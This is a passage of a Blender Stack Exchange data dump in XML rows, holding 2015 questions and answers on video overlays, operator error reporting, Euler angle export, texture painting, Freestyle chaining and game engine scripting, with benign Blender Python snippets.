  <row Id="34970" PostTypeId="1" AcceptedAnswerId="34973" CreationDate="2015-08-02T13:11:40.757" Score="0" ViewCount="284" Body="&lt;p&gt;Well, I'm totally new user of this program, and I decided to use it only because I need to make an intro for my youtube videos.&#xA;I don't make it on my own, I downloaded template and replaced text only, but there is one problem.&#xA;The template has got overlay as a backround which doesn't show on my rendered video.&#xA;I got that overlay in my folder anyway.&#xA;Why is that so?&#xA;Please help.&#xA;How video should look like: &lt;a href=&quot;http://tinypic.com/player.php?v=2zrgked%3E&amp;amp;s=8#.Vb4VuvmqpAE&quot; rel=&quot;nofollow&quot;&gt;http://tinypic.com/player.php?v=2zrgked%3E&amp;amp;s=8#.Vb4VuvmqpAE&lt;/a&gt;&#xA;My video: &lt;a href=&quot;http://tinypic.com/player.php?v=2hztk4k%3E&amp;amp;s=8#.Vb4UKfmqpAE&quot; rel=&quot;nofollow&quot;&gt;http://tinypic.com/player.php?v=2hztk4k%3E&amp;amp;s=8#.Vb4UKfmqpAE&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16094" LastActivityDate="2015-08-02T13:39:46.600" Title="Overlay problem" Tags="&lt;editing&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34971" PostTypeId="2" ParentId="34969" CreationDate="2015-08-02T13:30:02.093" Score="12" Body="&lt;p&gt;Found this an answer via TynkaTopi on the #blendercoders IRC channel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender operators have a method called &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.types.Operator.html?highlight=report#bpy.types.Operator.report&quot; rel=&quot;nofollow noreferrer&quot;&gt;report()&lt;/a&gt; which will perform the functions noted above. You only need to pass it a TYPE (an enum, see the docs) and a MESSAGE (a string explaining the error). It flashes a popup dialog with a warning icon/message at the mouse location, prints the error message in the info header, and adds it to a text datablock containing recent reports, apparently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also made sure to return {'CANCELLED'} from my operator after reporting when the error occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;API:&#xA;&lt;a href=&quot;https://docs.blender.org/api/current/bpy.types.Operator.html?highlight=report#bpy.types.Operator.report&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/api/current/bpy.types.Operator.html?highlight=report#bpy.types.Operator.report&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.report({&quot;WARNING&quot;}, &quot;Something isn't right&quot;)&#xA;# return {&quot;CANCELLED&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="417" LastEditorUserId="31447" LastEditDate="2020-03-29T17:13:12.703" LastActivityDate="2020-03-29T17:13:12.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="34973" PostTypeId="2" ParentId="34970" CreationDate="2015-08-02T13:39:46.600" Score="0" Body="&lt;p&gt;you probably have to change the blendtype to alpha over. You can find it in the video sequence editor in the properties panel &lt;kbd&gt;N&lt;/kbd&gt;, under the tab Edit strip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GkUm6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GkUm6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-02T13:39:46.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34974" PostTypeId="1" CreationDate="2015-08-02T13:58:38.577" Score="0" ViewCount="55" Body="&lt;p&gt;An OBJ sequence is necessary for making complex animations using other 3D programs. I want to use blender and realflow together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Realflow particle simulations and meshed realflow simulations are in *.bin format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These images suggest this was at some point in development:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RVib8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RVib8.png&quot; alt=&quot;mesh cache seq modifier&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/l0L3A.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l0L3A.jpg&quot; alt=&quot;mesh cache import modifier - could be used for all described things and problems&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I import an OBJ sequence?&lt;/p&gt;&#xA;" OwnerUserId="16095" LastEditorUserId="241" LastEditDate="2015-08-03T15:36:55.777" LastActivityDate="2015-08-03T15:36:55.777" Title="Is there an OBJ Sequence import script or add-on?" Tags="&lt;add-on&gt;&lt;import&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-08-03T16:36:18.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="34975" PostTypeId="1" CreationDate="2015-08-02T15:05:00.480" Score="2" ViewCount="3224" Body="&lt;p&gt;Currently I have add-on that gets rotations from an object, converts angles into a matrix and saves it in a particular format into a text file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what code for that looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rot = tuple(chain(*obj.matrix_world.to_3x3().normalized().transposed()))&#xA;&#xA;dump += ['&quot;rotation&quot; &quot;{}&quot;'.format(&quot; &quot;.join(str(r) for r in rot)),]&#xA;&#xA;self.write(self.filepath, &quot;\n&quot;.join(dump))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also need to have Euler angles written after &quot;rotation&quot; in the following format:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;angles&quot; &quot;Y Z X&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where Y, Z and X are angles in degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do that, following analogy with rotation matrix ? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2015-08-02T18:09:31.623" Title="Getting Euler rotations for an object and exporting them" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34976" PostTypeId="2" ParentId="34975" CreationDate="2015-08-02T16:16:13.100" Score="4" Body="&lt;p&gt;Should be as simple as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from math import degrees&#xA;&#xA;&quot;{:f} {:f} {:f}&quot;.format(*map(degrees, obj.matrix_world.to_euler()))&#xA;# '-90.224203 -10.379210 -11.433244'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;to_euler()&lt;/code&gt; converts a matrix to an Euler object, with order &lt;code&gt;XYZ&lt;/code&gt; (regardless of what is set for &lt;code&gt;rotation_mode&lt;/code&gt;). The angles are given in radians, but they can be simply converted to degrees using &lt;code&gt;math.degrees()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-08-02T16:16:13.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34977" PostTypeId="2" ParentId="34900" CreationDate="2015-08-02T16:31:28.617" Score="0" Body="&lt;p&gt;I'd suggest converting your curve to a mesh, then rigging it with bones. It seems like how you are moving the curve can easily just be accomplished by bones that control a mesh.&lt;/p&gt;&#xA;" OwnerUserId="15968" LastActivityDate="2015-08-02T16:31:28.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34978" PostTypeId="1" CreationDate="2015-08-02T16:54:57.630" Score="0" ViewCount="78" Body="&lt;p&gt;I asked a question previously as to how I could solve Subsurface modifier creating stretchmarks &lt;a href=&quot;https://blender.stackexchange.com/questions/32595/subsurf-creating-stretched-faces&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User Denis answered this question. He said I should do an unwrapping operation by pressing U &gt; Unwrap and then press F6 to bring up a panel where I could check the box &quot;Use subsurf modifier&quot;. The problem is, when i do the Unwrap operation, the UV layout I spent a lot of time making is completely discarded and replaced by a generated one. After that, yes, I can bring up the &quot;Use subsurface modifier&quot; checkbox. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I check the box without deleting my UV-layout? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading!&lt;/p&gt;&#xA;" OwnerUserId="14101" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-08-02T16:54:57.630" Title="Am I unwrapping right?" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34979" PostTypeId="2" ParentId="34896" CreationDate="2015-08-02T17:10:04.883" Score="0" Body="&lt;p&gt;Sorry to answer my own question but that will can be use to somebody else.&#xA;I finally found this solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def currentSculptProperties():&#xA;show_text = bpy.context.window_manager.show_text&#xA;current_sculpt_properties = []&#xA;tool_settings = bpy.context.scene.tool_settings&#xA;Detail_Size = tool_settings.sculpt.detail_size&#xA;Constant_Detail = tool_settings.sculpt.constant_detail&#xA;if(hasattr(tool_settings.sculpt, 'detail_percent')):&#xA;    Detail_Percent = tool_settings.sculpt.detail_percent&#xA;active_brush = bpy.context.tool_settings.sculpt.brush.name            &#xA;detail_refine = tool_settings.sculpt.detail_refine_method&#xA;Detail_Type = tool_settings.sculpt.detail_type_method&#xA;&#xA;if bpy.context.sculpt_object.use_dynamic_topology_sculpting:&#xA;    if show_text.refine_method:                                     &#xA;        if tool_settings.sculpt.detail_type_method == 'RELATIVE':&#xA;            current_sculpt_properties.append(Detail_Size)&#xA;        elif tool_settings.sculpt.detail_type_method == 'CONSTANT':&#xA;            current_sculpt_properties.append(Constant_Detail)                                        &#xA;        elif tool_settings.sculpt.detail_type_method == 'BRUSH':&#xA;            current_sculpt_properties.append(Detail_Percent)                                      &#xA;    if show_text.detail_type:&#xA;        current_sculpt_properties.append(Detail_Type)                         &#xA;if show_text.brush_radius:&#xA;    current_sculpt_properties.append(tool_settings.unified_paint_settings.size)         &#xA;if show_text.brush_strength:&#xA;    current_sculpt_properties.append(bpy.data.brushes[active_brush].strength)       &#xA;if show_text.symmetry_use:        &#xA;    if tool_settings.sculpt.use_symmetry_x:&#xA;        current_sculpt_properties.append(tool_settings.sculpt.use_symmetry_x) &#xA;    if tool_settings.sculpt.use_symmetry_y:&#xA;        current_sculpt_properties.append(tool_settings.sculpt.use_symmetry_y) &#xA;    if tool_settings.sculpt.use_symmetry_z:&#xA;        current_sculpt_properties.append(tool_settings.sculpt.use_symmetry_z)&#xA;&#xA;return current_sculpt_properties&#xA;&#xA;&#xA;def updateTextHandlers(scene):&#xA;    show_text = bpy.context.window_manager.show_text&#xA;    mode = bpy.context.object.mode&#xA;    if mode == 'SCULPT' and show_text.sculpt_use:&#xA;        if currentSculptProperties() not in show_text.sculpt_properties_pre:&#xA;            show_text.sculpt_properties_pre[:] = []&#xA;            show_text.sculpt_properties_pre.append(currentSculptProperties())            &#xA;            sculptInfo()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe it's not the simplest way, but she works.&lt;/p&gt;&#xA;" OwnerUserId="11582" LastActivityDate="2015-08-02T17:10:04.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34980" PostTypeId="2" ParentId="34975" CreationDate="2015-08-02T18:09:31.623" Score="2" Body="&lt;p&gt;So this is what worked for me (for test cases I tried anyway; with help from some folks on IRC):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rot_angles = obj.matrix_world.to_euler()&#xA;rot_angles_X = math.degrees(rot_angles[0])&#xA;rot_angles_Y = math.degrees(rot_angles[1])&#xA;rot_angles_Z = math.degrees(rot_angles[2])&#xA;&#xA;'&quot;angles&quot; &quot;{}&quot;'.format(&quot; &quot;.join( [ str(rot_angles_Y), str(rot_angles_Z), str(rot_angles_X) ] ))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2015-08-02T18:09:31.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34981" PostTypeId="1" CreationDate="2015-08-02T18:25:36.880" Score="0" ViewCount="1667" Body="&lt;p&gt;still very new to Blender, and I was following &lt;a href=&quot;https://www.youtube.com/watch?v=cGvalWG8HBU&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; for creating rigging to a character model.&#xA;At around the 10:12 mark, we're instructed to hit Crtl+P while selecting both the armature &amp;amp; the mesh, and clicking on &quot;Set Parent to...Armature Deform...with Automatic Weights&quot;. Upon doing this, my software immediately freezes, and I can no longer continue the project. Considering the fact I have a really nice setup, I don't think it's my video card persay, I'm curious what's causing Blender to freeze up. I'm not sure how I can continue from here. (The screenshot is my current model, where I'm trying to apply the step explained) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2rNb6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2rNb6.jpg&quot; alt=&quot;This is the screenshot of my current Blender model, where I&amp;#39;m trying to follow the steps explained in the tutorial, upon clicking on &amp;quot;with automatic weights, the program freezes and quits.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what am I doing wrong? Is my current character model too complex? I noticed the leg bones stick out of the leg mesh slightly, is that the problem? Or did I miss something else entirely?&#xA;Thanks so much for your help!&lt;/p&gt;&#xA;" OwnerUserId="16099" LastActivityDate="2016-10-05T11:20:34.240" Title="Blender freezing when I try to add automatic weights to a parent?" Tags="&lt;armature&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34982" PostTypeId="2" ParentId="33342" CreationDate="2015-08-02T19:02:08.970" Score="4" Body="&lt;p&gt;I think what you are looking for is &lt;em&gt;texture paint&lt;/em&gt;.  Texture paint allows you to paint a texture directly onto your 3D model in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a simple introduction to texture paint:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unwrap the model.  The great think about texture paint is that it doesn't have to be a perfect job of unwrapping since you will be painting in 3D space so seams don't really matter.&lt;/li&gt;&#xA;&lt;li&gt;Go to the &lt;em&gt;UV/Image Editor&lt;/em&gt; and create a new image with the &lt;em&gt;new&lt;/em&gt; button.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/PiMix.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PiMix.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;It will prompt you to set the size and name of the new image, remember what you call it.&lt;/li&gt;&#xA;&lt;li&gt;In the 3D view go to texture paint mode.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/PVJOv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PVJOv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Bring up the toolbar with &lt;kbd&gt;T&lt;/kbd&gt; (if it isn't up already) and go to the &lt;em&gt;slots&lt;/em&gt; tab.  Make sure the &lt;em&gt;painting mode&lt;/em&gt; is set to &lt;em&gt;image&lt;/em&gt;, select the image you just created for the &lt;em&gt;canvas image&lt;/em&gt;, and select the UV map you are using (if there is only one it will select it by default).&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/42a3O.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/42a3O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Back in the &lt;em&gt;tools&lt;/em&gt; tab scroll down to the &lt;em&gt;texture&lt;/em&gt; rollout and set up the texture you want to paint onto the object.  I would also set the &lt;em&gt;brush mapping&lt;/em&gt; to &lt;em&gt;tiled&lt;/em&gt;, but play around with it to see what works best for you.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DpUdw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DpUdw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;You can change the texture's settings in the texture panel of the properties view.  Make sure you are editing the &lt;em&gt;brush&lt;/em&gt; texture.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/w9gIx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/w9gIx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now you can paint your texture onto the object however you like it.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/h14Dj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h14Dj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;When you are through go back to the UV/image editor and save the image using &lt;em&gt;image&lt;/em&gt; &gt; &lt;em&gt;save as image&lt;/em&gt;.  &lt;strong&gt;IMPORTANT NOTE:  Make sure you do this before you exit Blender, if you don't it will go away!&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XU1kj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XU1kj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-08-03T14:38:36.787" LastActivityDate="2015-08-03T14:38:36.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34983" PostTypeId="1" AcceptedAnswerId="34991" CreationDate="2015-08-02T19:13:21.633" Score="6" ViewCount="783" Body="&lt;p&gt;In the Freestyle render settings under the &lt;em&gt;Freestyle Line Style&lt;/em&gt; rollout there are a group of settings having to do with &lt;em&gt;chaining&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TiQsb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have played around with these settings in a number of ways and haven't really found any noticeable impact on the render.  So what is chaining and what does it do?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-08-03T00:21:10.827" Title="What is Freestyle chaining?" Tags="&lt;freestyle&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34984" PostTypeId="1" AcceptedAnswerId="35002" CreationDate="2015-08-02T19:14:19.947" Score="1" ViewCount="52" Body="&lt;p&gt;So in Game Engine, I have been trying to make an empty that after a message gets sent, AND after 30 seconds, the object will come back, but as I can see, the message only sends once, and the logic brick does not remember it being sent, so after 30 seconds, the message isn't there. Is there any better ways to do this, or any way to make the message sensor remember that it has been sent&#xA;The message is for, when it gets deleted, it gets sent to an empty to spawn there, but I want it after 30 seconds&lt;/p&gt;&#xA;" OwnerUserId="16100" LastActivityDate="2015-08-03T08:40:28.560" Title="How do I make it so something will go when collected, then re-spawn after awhile?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34985" PostTypeId="1" CreationDate="2015-08-02T20:36:14.843" Score="1" ViewCount="114" Body="&lt;p&gt;I have v2.75 and I keep seeing that I need to change the render to CPU, but I don't even see the option... How do I fix this so that I can see the smoke when I render it?&lt;a href=&quot;https://i.stack.imgur.com/JPNjJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JPNjJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16101" LastActivityDate="2015-08-03T16:32:09.387" Title="Smoke is not appearing in cycles, neither is the CPU option" Tags="&lt;cycles-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34986" PostTypeId="1" AcceptedAnswerId="35044" CreationDate="2015-08-02T20:52:42.653" Score="1" ViewCount="1799" Body="&lt;p&gt;Most of my work with Blender involves modifying stl files of models of fingers, hands and forearms. Sometimes Boolean operations suffice and leave a manifold mesh.  However, when a small portion of the file needs to be modified and added to another file, I'm still faced with too many instances of working with vertices and edges and not getting great results. &#xA;The name &quot;skin&quot; suggests that a surface would be formed over some existing objects and create a manifold.  However, the manual's description of working with vertices and the examples seem to indicate that &quot;skin&quot; isn't really suitable for fixing non-manifold objects.  Adventures with shrinkwrap don't yield desired results. &#xA;Consider this pivot/hinge.  I want to extend it with a rectangular box. Sizing the box so that it just fits over the pivot part above the hole results in a mesh which would appear to be easy to automatically make it manifold.&lt;br&gt;&#xA;I couldn't figure out how to do it.  Have I overlooked something in skin/shrinkwrap or is there another route or add-on which I need to explore?&#xA;TIA.&#xA;&lt;a href=&quot;https://www.dropbox.com/s/az2dfqh0a9lk5vx/leftHinge.stl?dl=0&quot; rel=&quot;nofollow&quot;&gt;LeftHinge&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9598" LastActivityDate="2015-08-03T20:49:29.713" Title="Skin vs Shrinkwrap" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34987" PostTypeId="2" ParentId="34985" CreationDate="2015-08-02T21:03:23.740" Score="3" Body="&lt;p&gt;The CPU/GPU dropdown selection menu is not visible because you don't have an Nvidia GPU card enabled for usage (either your card isn't Nvidia or it's not enabled for rendering) in the user settings. CPU mode is the default render mode in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you DO have an Nvidia card installed, you may have to update to the newest drivers for it to show up in your CUDA user preferences selection.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-08-03T16:32:09.387" LastActivityDate="2015-08-03T16:32:09.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34988" PostTypeId="1" AcceptedAnswerId="35024" CreationDate="2015-08-02T21:04:39.827" Score="3" ViewCount="1222" Body="&lt;p&gt;In my scene I have a wheel shaped cylinder with rigid body dynamics attached to it. I also have a floor with passive rigid body dynamics. Now what I want to achieve is to have the wheel spinning while it falls down to the plane, to then get grip and roll off the plane. I already tried these three scenarios.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Rotating the wheel using an animation. In this scenario the animation doesn't play anymore once the dynamics kicks in. Checking the &quot;Animated&quot; option in the rigid body settings eliminates the gravity effect.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using a shape key to rotate the wheel. This doesn't work either because the shape keys deform the object in the transition.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using bones but this gives the exact same result as using animation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm sure there is a ways so I am curious to hear your suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Animating the &quot;Animated&quot; checkbox works partly. So the &quot;&lt;a href=&quot;https://blender.stackexchange.com/questions/5100/how-can-i-add-motion-to-an-object&quot;&gt;How can I add motion to an object&lt;/a&gt;&quot; does not work as I tried it already earlier. Rotation is lost eventually and I need it to work like a motor.&lt;/p&gt;&#xA;" OwnerUserId="7460" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-08-03T18:05:57.640" Title="Rotating wheel with rigid body dynamics" Tags="&lt;animation&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34989" PostTypeId="1" CreationDate="2015-08-02T22:11:16.327" Score="4" ViewCount="792" Body="&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;from bge import render, logic&#xA;&#xA;def makescreenshot():&#xA;    path = logic.expandPath(&quot;//&quot;)&#xA;&#xA;    def main(): &#xA;&#xA;        cont = bge.logic.getCurrentController()&#xA;        own = cont.owner&#xA;&#xA;        render.makeScreenshot(path+&quot;image.png&quot;)&#xA;&#xA;    main()&#xA;makescreenshot()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;^This is the code I have to take a screenshot of the current scene and I want to connect this with an always sensor to the camera, but the only way I know to do so is by using bpy...is there any way to take screenshots using bpy or is there any way to add logic bricks using bge? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15734" LastEditorUserId="15543" LastEditDate="2019-01-12T12:40:16.503" LastActivityDate="2019-01-12T12:40:16.503" Title="take screenshots programmatically in bge?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="34990" PostTypeId="1" AcceptedAnswerId="35039" CreationDate="2015-08-02T22:15:28.023" Score="2" ViewCount="121" Body="&lt;p&gt;When I play the game, it doesn't appear with true colors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original image:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/M3tt7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M3tt7.png&quot; alt=&quot;image Original&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I play game:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9bUvl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9bUvl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no trees and 3D Text is not true color.&#xA;What happened?&lt;/p&gt;&#xA;" OwnerUserId="16102" LastEditorUserId="599" LastEditDate="2015-08-03T20:31:07.587" LastActivityDate="2015-08-03T20:31:07.587" Title="Playing game results in not true colors" Tags="&lt;rendering&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34991" PostTypeId="2" ParentId="34983" CreationDate="2015-08-03T00:07:08.717" Score="4" Body="&lt;h2&gt;Consider the lines as &quot;a whole&quot; or &quot;individually&quot;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As reported in the &lt;a href=&quot;https://www.blender.org/manual/render/freestyle/parameter_editor/line_style/strokes.html#chaining&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt;, &quot;chaining&quot; is a parameter that controls the way in which lines are rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If enabled, Blender will draw each line as if it was connected with the previous; on the other way, if disables, it will render each line &lt;strong&gt;separately&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the effect by increasing line thickness and zoom in till you can see where one line ends and another starts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MCAB9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MCAB9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the same object with chaining enabled is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WkCmK.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WkCmK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;It is useful to make custom line styles. Notice in the examples below how the same thickness modifier brings to different results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AObrb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AObrb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iSZUa.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iSZUa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-03T00:21:10.827" LastActivityDate="2015-08-03T00:21:10.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
